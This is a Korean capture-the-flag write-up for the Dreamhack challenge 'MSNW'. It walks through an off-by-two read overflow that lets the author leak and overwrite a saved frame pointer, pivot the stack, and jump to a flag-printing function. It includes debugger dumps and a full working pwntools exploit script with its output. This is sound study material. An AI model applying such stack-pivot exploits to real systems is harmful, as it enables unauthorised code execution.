[dreamhack] MSNW writeup

1. 문제

thumbnail
MSNW

이 문제는 MSNW (Meong Said, Nyang Wrote) 프로그램이 서비스로 등록되어 동작하고 있습니다.
프로그램의 취약점을 찾고 익스플로잇해 플래그를 획득하세요!
플래그 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/367

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MEONG 0
#define NYANG 1

#define NOT_QUIT 1
#define QUIT 0

void Init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
}

int Meong() {
    char buf[0x40];

    memset(buf, 0x00, 0x130);

    printf("meong 🐶: ");
    read(0, buf, 0x132);

    if (buf[0] == 'q')
        return QUIT;
    return NOT_QUIT;
}

int Nyang() {
    char buf[0x40];

    printf("nyang 🐱: ");
    printf("%s", buf);

    return NOT_QUIT;
}

int Call(int animal) {
    return animal == MEONG ? Meong() : Nyang();
}

void Echo() {
    while (Call(MEONG)) Call(NYANG);
}

void Win() {
    execl("/bin/cat", "/bin/cat", "./flag", NULL);
}

int main(void) {
    Init();

    Echo();
    puts("nyang 🐱: goodbye!");

    return 0;
}

개와 고양이가 멍냥하면서 Meong함수에서 입력한 내용을 Nyang함수에서 출력해주는 프로그램이다.

buf 변수에서 아마 bof가 터질 것 같았다.


pwndbg> disass Meong
Dump of assembler code for function Meong:
   0x0000000000401242 <+0>:	endbr64
   0x0000000000401246 <+4>:	push   rbp
   0x0000000000401247 <+5>:	mov    rbp,rsp
   0x000000000040124a <+8>:	sub    rsp,0x1f0
   0x0000000000401251 <+15>:	lea    rax,[rbp-0x130]
   0x0000000000401258 <+22>:	mov    edx,0x130
   0x000000000040125d <+27>:	mov    esi,0x0
   0x0000000000401262 <+32>:	mov    rdi,rax
   0x0000000000401265 <+35>:	call   0x4010b0 <memset@plt>
   0x000000000040126a <+40>:	lea    rax,[rip+0xd93]        # 0x402004
   0x0000000000401271 <+47>:	mov    rdi,rax
   0x0000000000401274 <+50>:	mov    eax,0x0
   0x0000000000401279 <+55>:	call   0x4010a0 <printf@plt>
   0x000000000040127e <+60>:	lea    rax,[rbp-0x130]
   0x0000000000401285 <+67>:	mov    edx,0x132
   0x000000000040128a <+72>:	mov    rsi,rax
   0x000000000040128d <+75>:	mov    edi,0x0
   0x0000000000401292 <+80>:	call   0x4010c0 <read@plt>
   0x0000000000401297 <+85>:	movzx  eax,BYTE PTR [rbp-0x130]
   0x000000000040129e <+92>:	cmp    al,0x71
   0x00000000004012a0 <+94>:	jne    0x4012a9 <Meong+103>
   0x00000000004012a2 <+96>:	mov    eax,0x0
   0x00000000004012a7 <+101>:	jmp    0x4012ae <Meong+108>
   0x00000000004012a9 <+103>:	mov    eax,0x1
   0x00000000004012ae <+108>:	leave
   0x00000000004012af <+109>:	ret
End of assembler dump.
pwndbg> disass Nyang
Dump of assembler code for function Nyang:
   0x00000000004012b0 <+0>:	endbr64
   0x00000000004012b4 <+4>:	push   rbp
   0x00000000004012b5 <+5>:	mov    rbp,rsp
   0x00000000004012b8 <+8>:	sub    rsp,0x1f0
   0x00000000004012bf <+15>:	lea    rax,[rip+0xd4b]        # 0x402011
   0x00000000004012c6 <+22>:	mov    rdi,rax
   0x00000000004012c9 <+25>:	mov    eax,0x0
   0x00000000004012ce <+30>:	call   0x4010a0 <printf@plt>
   0x00000000004012d3 <+35>:	lea    rax,[rbp-0x130]
   0x00000000004012da <+42>:	mov    rsi,rax
   0x00000000004012dd <+45>:	lea    rax,[rip+0xd3a]        # 0x40201e
   0x00000000004012e4 <+52>:	mov    rdi,rax
   0x00000000004012e7 <+55>:	mov    eax,0x0
   0x00000000004012ec <+60>:	call   0x4010a0 <printf@plt>
   0x00000000004012f1 <+65>:	mov    eax,0x1
   0x00000000004012f6 <+70>:	leave
   0x00000000004012f7 <+71>:	ret
End of assembler dump

실제로 Meong함수와 Nyang함수를 보면 buf가 둘다 rbp-0x130 위치에 있는데 Meong함수에서 read할때 0x132를 하는 것을 볼 수 있다. 이걸 통해 두가지를 얻을 수 있는데, 0x130사이즈로 입력할 경우에 SFP를 leak할 수 있다는 것과 SFP를 두바이트 덮을 수 있다는 것이다.

2.1. SFP overwrite (Stack pivot)

SFP를 overwrite하게 되면, leave; ret로 대표되는 함수 에필로그 시에 스택을 우리가 원하는 곳으로 설정할 수 있다. SFP는 실행되고 있는 함수의 호출 전에 프레임 포인터를 저장해 놓는 곳이다.

스택 상단 주소 (낮은 주소)
│
│  buffer[64]      <-- 취약한 버퍼
│  ...             <-- 다른 지역 변수들
│  saved RBP       <-- SFP (Saved Frame Pointer)return address  <-- 함수 리턴 시 jump할 주소
│
▼  스택 하단 주소 (높은 주소)

만약에 이 SFP를 overwrite하게 되면 leave; ret와 결합하여 원하는 동작을 수행하게 할 수 있다. 예를 들면 아래와 같다.

  • ⁣1. SFP를 임의 주소로 덮어씀 (saved RBP)
  • ⁣2. 리턴 주소에 leave; ret 가젯을 씀
  • ⁣3. ret 실행 시 → leave는 아래 동작 수행:
leave = mov rsp, rbp
        pop rbp
ret   = pop rip (jump to [rsp])

따라서 우리가 덮어쓴 SFP 값이 새로운 스택의 시작점이 되고, ret = pop rip를 통해 rsp + 8이 가리키는 위치의 명령어가 실행된다.

공격 후 스택:
│
│  가짜 스택 (ROP 체인)
│  ...
│  new SFP (가짜 RBP)
│  leave; ret ← ret 주소
│
▼
  • ⁣1. leave → RSP = RBP = new SFP
  • ⁣2. pop RBP → RBP = [RSP]
  • ⁣3. ret → RIP = [RSP + 8] // 우리가 넣은 가짜 스택에 따라 실행 흐름 제어

이를 SFP overwrite 또는 stack pivot이라고 부른다.

2.2. 시나리오

따라서 먼저 0x130만큼 데이터를 보내서 SFP를 leak한 뒤, buf 변수와 얼마나 떨어져있는지 확인한다.

이후, buf 변수를 Win함수의 주소로 모두 채우도록 데이터를 보내고, SFP를 2바이트를 덮어서 buf 주소의 어딘가로 조작할 수 있으면 다음에 사용될 스택 위치가 buf 주소 한가운데로 가고, ret를 통해 buf에 저장된 Win함수가 rip로 pop되어 들어가면서 flag를 읽을 수 있을 것이다.

먼저 rbp를 leak해보자.

ubuntu@instance-20250406-1126:~/dreamhack/level2/MSNW/deploy$ python3 e_msnw.py 
[+] Starting local process './msnw': pid 2687552
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/MSNW/deploy/msnw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
0x7ffdb16b19f0

0x7ffdb16b19f0가 출력되었다는 것은, Nyang함수의 SFP가 이거고 이 함수가 종료되면 Call함수로 돌아가므로 Call함수에 속한 리턴주소가 그다음에 존재한다는 뜻이다. 따라서 gdb로 붙어서 이 주소를 먼저 보자.

pwndbg> x/10gx 0x7ffdb16b19f0
0x7ffdb16b19f0:	0x00007ffdb16b1af0	0x0000000000401353
0x7ffdb16b1a00:	0x000000000000037f	0x0000000002001005
0x7ffdb16b1a10:	0x00007ffdb16b1c00	0x0000000000000000
0x7ffdb16b1a20:	0x00007991d4727000	0x00007ffdb16b1ae8
0x7ffdb16b1a30:	0x00007ffdb16b1b30	0x00007991d4740ddb

이 위치로 가면 당연히 다른 함수의 SFP가 보이고 그뒤에 0x401353이라는 어떤 함수의 주소가 보인다. 이 주소는 backtrace에서 확인할 수 있다.

───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► 0   0x7991d451ba61 read+17
   1         0x401297 Meong+85
   2         0x401320 Call+40
   3         0x401353 Echo+37
   4         0x4013b9 main+31
   5   0x7991d442a1ca __libc_start_call_main+122
   6   0x7991d442a28b __libc_start_main+139
   7         0x401115 _start+37

Echo+37의 함수이므로 이건 Call의 스택 마지막 부분임을 알 수 있다. 그러면 Nyang함수는 더 아래쪽에 존재할 것이므로 확인해보자.

pwndbg> x/200gx 0x7ffdb16b19f0 - 0x300
0x7ffdb16b16f0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1700:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1710:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1720:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1730:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1740:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1750:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1760:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1770:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1780:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1790:	0x0000000000000000	0x0000000000000000
0x7ffdb16b17a0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b17b0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b17c0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b17d0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b17e0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b17f0:	0x00007ffdb16b19f0	0x0000000000401320
0x7ffdb16b1800:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1810:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1820:	0x0000000000000000	0x0000000000000001
0x7ffdb16b1830:	0x00007ffdb16b1870	0x00007991d4585536
0x7ffdb16b1840:	0x0000000000800000	0x00007991d4498914
0x7ffdb16b1850:	0x00000003b16b1870	0xbd65d1a33a584000
0x7ffdb16b1860:	0x00381423c4e740e5	0x00007991d473e3c0
0x7ffdb16b1870:	0x00007ffdb16b1b30	0x00007991d4749897
0x7ffdb16b1880:	0x0000000000000002	0x8000000000000006
0x7ffdb16b1890:	0x0000000000000000	0x0000000000000000
0x7ffdb16b18a0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b18b0:	0x0000000000000000	0x0000000000000000
0x7ffdb16b18c0:	0x000000000000000d	0x00007991d47602e0
0x7ffdb16b18d0:	0x00381423c4e6f301	0x0000000000000003
0x7ffdb16b18e0:	0x0000000000000000	0x0000000000000002
0x7ffdb16b18f0:	0x0000016100000000	0x0000000000c003f7
0x7ffdb16b1900:	0x00007ffdb177b228	0x0000034000000240
0x7ffdb16b1910:	0x0000000000000001	0x0000000000000000
0x7ffdb16b1920:	0x0000000000000000	0x0000034000000340
0x7ffdb16b1930:	0x0000034000000340	0x0000034000000340
0x7ffdb16b1940:	0x0000034000000340	0x0000034000000340
0x7ffdb16b1950:	0x00007991d46044e0	0x0000000000000000
0x7ffdb16b1960:	0x00007ffdb16b1990	0x00007991d4495c1f
0x7ffdb16b1970:	0x00007991d46044e0	0x00007991d4602030
0x7ffdb16b1980:	0x0000000000000000	0x0000000000000000
0x7ffdb16b1990:	0x00007ffdb16b19b0	0x00007991d4492415
0x7ffdb16b19a0:	0x0000000000000000	0x00007991d46044e0
0x7ffdb16b19b0:	0x00007ffdb16b19f0	0x00007991d448867f
0x7ffdb16b19c0:	0x0000000000000000	0x00007ffdb16b1c48
0x7ffdb16b19d0:	0x0000000000000001	0x0000000000000000
0x7ffdb16b19e0:	0x0000000000403e18	0x00007991d475f000
0x7ffdb16b19f0:	0x00007ffdb16b1af0	0x0000000000401353

중간에 0x7ffdb16b17f0위치를 보면 우리가 찾던 leak 된 SFP인 0x00007ffdb16b19f0가 보이고, 바로 뒤에 어떤 함수의 주소로 보이는 0x401320이 보인다. 이 주소를 backtrace에서 찾아보면 Call함수의 주소 중 하나이다. 따라서 이 부분이 우리가 찾던 Nyang함수의 스택 위치일 것이다.

주의할 점은 찾다보면 leak된 SFP 주소가 되게 자주 보일 것이다. 그치만 해당 주소의 바로 뒤에는 무조건 Call함수의 주소가 존재해야 진짜 위치이다.

0x7ffdb16b17f0 위치가 SFP이므로 이게 rbp이다. buf 변수는 rbp-0x130부터 시작하므로 0x7ffdb16b16c0부터 시작한다. 따라서 우리는 leak된 SFP의 마지막 두바이트를 19f0에서 16c0 또는 이것부터 8바이트 단위으로 덮어주면 되는 것이다. 우선 이 차이는 0x330이지만 17f0보다 작게, 16c0보다는 크게만 덮어주면 문제가 없다.

최종 exploit이다.

from pwn import *

p = process("./msnw")
#p = remote("host3.dreamhack.games", 16749)
elf = ELF("./msnw")

payload = b"a" * 0x130
p.sendafter(b": ", payload)
p.recvuntil(b"a" * 0x130)

real_rbp = u64(p.recv(6) + b"\x00" * 2)
print(hex(real_rbp))

buf = real_rbp - 0x1c0 - 0x130
input()
payload = p64(elf.symbols["Win"]) * 38
payload += p64(buf)
p.sendafter(b": ", payload)


p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/MSNW/deploy$ python3 e_msnw.py 
[+] Starting local process './msnw': pid 2687647
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/MSNW/deploy/msnw'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
0x7ffc6f6284f0

[*] Switching to interactive mode
DH{**flag**}
[*] Process './msnw' stopped with exit code 0 (pid 2687647)
[*] Got EOF while reading in interactive
$

vm 크레딧 이슈로 뒤늦게 서버 켜는건 안합니다… 그치만 서버환경에서도 성공했음!

그리고 공부하다보니 함수 에필로그를 이용한 SFP overwrite 및 stack pivot은 기초적인거라고 하더라… 이 기초를 이제야 제대로 공부했다…

특히 이걸 미리 잘 알고 있었다면 저번 Dreamhack CTF Season 7 Round #12 (Div2)를 처음 참가했었는데 올클리어가 가능했었다ㅠ

thumbnail
Dreamhack CTF Season 7 Round #12 (🌱Div2)

https://dreamhack.io/ctf/666

포너블만 풀자고 열심히 공부했는데 포너블 빼고 다 풀고 마지막까지 붙잡다가 결국 5위로 마감했었다. 그때 못푼 문제가 딱 이 기법으로 풀리는 문제일 듯해서 바로 도전했고 삽질 끝에 성공… 바로 다음 게시물로 올릴 예정이다.


해결~